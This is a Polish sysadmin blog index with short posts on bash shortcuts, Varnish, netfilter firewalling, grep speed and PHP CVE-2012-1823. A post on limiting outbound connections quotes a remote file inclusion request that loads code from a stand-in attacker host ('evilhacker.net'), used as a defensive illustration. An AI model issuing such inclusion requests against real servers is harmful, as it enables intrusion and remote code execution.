Napisał: Patryk Krawaczyński
28/01/2014 w CmdLineFu
W powłoce bash istnieje możliwość poprawiania drobnych literówek nazw katalogów. Jest to szczególnie przydatna funkcja przy szybkim, ale czasami niedokładnym pisaniu na klawiaturze:
# cd /etc/mall
-bash: cd: /etc/mall: No such file or directory
# shopt -s cdspell
# cd /etc/mall
# pwd
/etc/mail
Polecenie shopt -s cdspell możemy dodać do pliku .bash_profile
, aby funkcja ta zawsze była włączona przy otwieraniu nowej powłoki.
Więcej informacji: man bash
Napisał: Patryk Krawaczyński
27/01/2014 w Administracja, Debug
Z
ałóżmy, że chcemy na naszą aplikację webową nałożyć warstwę cache w celu przyśpieszenia jej działania, zredukowania serwerów front-endowych i odciążenia back-endu. W zależności od skali ruchu sieciowego i wielkości naszej aplikacji – jeden serwer typu proxy cache czasami nie wystarczy. Przyjmijmy, że skala wymaga pięciu serwerów typu cache (wykorzystajmy Varnish’a). Bez sensu jest postawienie przed tymi serwerami urządzenia lub aplikacji do wykonywania load balancingu w trybie round robin, ponieważ spowoduje to powielanie obiektów w pamięci cache serwerów i nieoptymalne ich wykorzystanie.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
08/01/2014 w CmdLineFu
J
eśli wykonujemy bardzo często polecenie “cd” do konkretnych katalogów podrzędnych – możemy zdefiniować ich katalogi nadrzędne – w ścieżce przeszukiwania przez polecenie change directory. Załóżmy, że bardzo często korzystamy z katalogów /etc
oraz $HOME
– dodając poniższy wpis do pliku ~.bash_profile
:
export CDPATH=.:~:/etc
Spowodujemy, że przy następnym zalogowaniu do powłoki bash będąc np. w katalogu /usr/local/bin
i wydając polecenie cd desktop
– jeśli taki katalog istnieje w ścieżce $HOME
lub /etc
– zostaniemy do niego przerzuceni bez konieczności zmiany przez pełną ścieżkę np. cd /home/agresor/desktop
.
Więcej infromacji: man bash
Napisał: Patryk Krawaczyński
26/12/2013 w Techblog
G
oogle Drive umożliwia nie tylko przechowywanie zdjęć i innych dokumentów, ale również statycznych stron HTML, plików JavaScript oraz CSS. W tym celu wystarczy:
- Stworzyć nowy folder i udostępnić go jako publiczny,
- Wgrać do tego folderu pliki HTML, JS, CSS,
- Zaznaczyć wybrany plik HTML i wybrać z menu Więcej: Otwórz za pomocą: Przeglądarka Dysku Google
- W otworzonej zakładce z przeglądarką ponownie kliknąć Pogląd i skopiować URL
Tak otrzymany URL: https://googledrive.com/host/1B4SBiW70ZQreMzZtbktoQ1k0VHM/static.html
(gdzie host to nazwa udostępnionego folderu) możemy wkleić w kod innej strony – plik static.html
zamienić na np. static.css
itd. – wykorzystując infrastrukturę Google do celów hostingowych małych i prostych plików.
Więcej informacji: Host webpages on Google Drive
Napisał: Patryk Krawaczyński
23/12/2013 w Administracja, Bezpieczeństwo
A
ktualnie baza MongoDB (v2.4.8) nie posiada możliwości ograniczenia dostępu do wybranych adresów IP na poziomie warstwy aplikacji. Mechanizmem, który można szybko do tego wykorzystać jest netfilter. Daje się on szybko dostosować szczególnie w środowisku wirtualizacji, w którym maszyna wirtualna posiada zmienny, wewnętrzny adres IP na interfejsie eth0
– a jej zewnętrzny adres przechodzi przez mechanizm NAT.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
17/12/2013 w CmdLineFu
C
iekawy trick zaprezentowany przez Brendan’a Gregg’a z firmy Joyent w przemówieniu na konferencji LISA 13 pt. Blazing Performance with Flame Graphs. Wyniki testu mogą zależeć od wielkości testowanego pliku i rodzaju szukanej fazy:
# export | grep LANG
declare -x LANG="pl_PL.UTF-8"
# du -h access.log.1
436M access.log.1
# time grep -i 500 access.log.1 > /dev/null
real 0m38.765s
user 0m31.506s
sys 0m0.420s
# echo 3 > /proc/sys/vm/drop_caches
# time LANG=C grep -i 500 access.log.1 > /dev/null
real 0m21.762s
user 0m0.636s
sys 0m0.268s
Więcej informacji: Make grep 50x faster
Napisał: Patryk Krawaczyński
16/12/2013 w Hackultura
“W
1965 roku, na długo zanim komputery zaczęto łączyć w sieci, informatyki uczył mnie profesor Bromberg – emigrant z Polski. W przerwach między lekcjami na temat Fortranu opowiadał nam o swojej rodzinnej Bydgoszczy i wakacjach spędzanych nad Wisłą, jak również o Janie Łukasiewiczu, twórcy tak zwanej “notacji polskiej”, używanej do obliczeń w kalkulatorach i komputerach. Mój nauczyciel opowiadał również z dumą o Marianie Rejewskim z krakowskiej szkoły matematyki. Była to fascynująca opowieść o tym, jak stworzył on matematyczny model Enigmy, niemieckiej maszyny szyfrującej, przyczyniając się bezpośrednio do zwycięstwa aliantów w drugiej wojnie światowej. Już wtedy, jako ucznia szkoły średniej, fascynowało mnie łamanie kodów i matematyczne podstawy szyfrowania wiadomości. Moja przygoda z kryptografią, aczkolwiek nie tak ważna jak praca Rejewskiego, wyrosła po części z ziarna, które zasiał mój polski nauczyciel.”
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
09/12/2013 w Bezpieczeństwo
W
maju 2012 roku opublikowano lukę w PHP CVE-2012-1823. Dotyczy ona tylko serwerów, które posiadają skonfigurowaną obsługę języka PHP jako skrypty CGI. Chociaż nie jest to domyślna konfiguracja w większości systemów – w takich dystrybucjach jak Debian i Ubuntu instalując paczkę php5-cgi i zostawiając domyślne ustawienia serwera Apache – pozwalające na dostępność binarnych plików w ścieżce http://serwer/cgi-bin/php5
wystawiamy nasz serwer na eksplorację luki. O zasadzie luki możemy przeczytać tutaj.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
25/11/2013 w Bezpieczeństwo
S
erwer WWW głównie akceptuje połączenia przychodzące od użytkowników, a sam niekiedy potrzebuje nawiązać nowe połączenia z zewnętrznymi zasobami np. bazą danych. Dlatego dobrze znając architekturę aplikacji – warto ograniczyć jej połączenia wychodzące tylko do tych, które są jej rzeczywiście niezbędne. To sprawia, że tak wyprofilowana sieciowo aplikacja staje się trudniejsza do zdobycia na przykład przez atakującego, który chce wykorzystać atak z wykorzystaniem zewnętrznych zasobów:
/podatny_kod.php?bug=http://evilhacker.net/exploit?
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
23/11/2013 w Bezpieczeństwo
Z
ałóżmy, że na moim serwerze posiadam zainstalowany tylko serwer MySQL, który nasłuchuje na wszystkich interfejsach (zewnętrzny / wewnętrzny / lokalny). Jednak za pomocą netfilter ograniczam do niego dostęp tylko do interfejsu zwrotnego, a w przyszłości wybiorę kolejne adresy IP, które będą mogły się z nim łączyć. Wydaje proste polecenie iptables:
iptables -A INPUT -p tcp --dport 3306 ! -s 127.0.0.1 -j DROP
A więc mój firewall wygląda następująco:
[root@darkstar ~]# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere
DROP tcp -- !localhost.localdomain anywhere tcp dpt:mysql
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere
[ czytaj całość… ]
Ostatni komentarz :